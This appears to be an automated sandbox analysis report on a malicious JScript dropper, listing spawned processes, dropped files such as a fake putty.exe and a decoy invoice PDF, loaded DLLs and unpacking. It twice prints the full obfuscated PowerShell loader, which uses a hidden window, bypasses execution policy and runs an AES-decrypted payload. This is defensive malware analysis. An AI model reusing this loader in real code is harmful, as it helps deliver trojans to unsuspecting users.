Source: therfaa.20.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.expl.evad.winJS@23/57@5/3

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 14_2_00481DB7 CreateToolhelp32Snapshot,Module32First,

14_2_00481DB7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\invoce.pdf

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1388:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kn3f50jp.mjy.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\invoce.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1740,i,7611697812648605537,3973104547024125911,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\therfaa C:\Users\user\AppData\Roaming\therfaa
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\invoce.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1740,i,7611697812648605537,3973104547024125911,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Roaming\putty.exe	Unpacked PE file: 14.2.putty.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\therfaa	Unpacked PE file: 21.2.therfaa.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

